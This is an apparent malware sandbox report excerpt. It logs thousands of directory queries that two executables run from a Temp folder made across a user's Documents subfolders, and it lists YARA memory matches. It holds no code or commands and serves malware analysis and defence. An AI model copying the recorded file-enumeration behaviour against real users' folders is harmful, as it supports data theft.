Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Directory queried: number of queries: 2354

Source: Yara match	File source: 00000012.00000003.2288903484.0000000001474000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2136389185.0000000001520000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2148673061.0000000001527000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2317531609.0000000001477000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2333235282.0000000001477000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2029520932.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2118027431.0000000001524000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2117576190.0000000001520000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2289983992.0000000001477000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2302670102.000000000147A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2305099490.0000000001478000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
